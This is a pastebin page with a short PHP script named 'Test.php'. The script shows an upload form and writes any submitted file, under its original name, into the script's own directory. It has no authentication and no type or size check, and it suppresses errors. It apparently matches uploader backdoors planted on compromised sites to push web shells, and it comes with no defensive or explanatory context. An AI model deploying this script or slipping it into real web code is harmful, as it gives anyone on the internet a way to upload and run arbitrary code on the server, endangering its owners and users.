The text below is selected, press Ctrl+C to copy to your clipboard. (⌘+C on Mac) No line numbers will be copied.
Guest
Test.php
By Guest on 9th July 2023 03:06:02 AM | Syntax: PHP | Views: 745



New paste | Download | Show/Hide line no. | Copy text to clipboard
  1. <?php
  2. if(isset($_POST['Submit'])){
  3.  
  4.      $filedir = "";
  5.      $maxfile = '2000000';
  6.  
  7.      $userfile_name = $_FILES['image']['name'];
  8.      $userfile_tmp = $_FILES['image']['tmp_name'];
  9.       if (isset($_FILES['image']['name'])) {
  10.         $abod = $filedir.$userfile_name;
  11.         @move_uploaded_file($userfile_tmp, $abod);
  12.  
  13. echo"<center><b>Done ==> $userfile_name</b></center>";
  14.      }
  15. }
  16. else{
  17. echo'   <form method="POST" action="" enctype="multipart/form-data">
  18.                 <input type="file" name="image">
  19.                 <input type="Submit" name="Submit" value="Submit">
  20.                 </form>';
  21.         }
  22. ?>



  • Recent Pastes
  • Test.php
    1 year 24 weeks 4 days 7 hours 17 mins and 38 secs ago
  • Javascript sample
    1 year 24 weeks 4 days 7 hours 17 mins and 38 secs ago
  • Java Sample
    1 year 24 weeks 4 days 7 hours 17 mins and 38 secs ago
  • Test Document
    1 year 24 weeks 4 days 7 hours 17 mins and 38 secs ago
  • PHP Sample
    1 year 24 weeks 4 days 7 hours 17 mins and 38 secs ago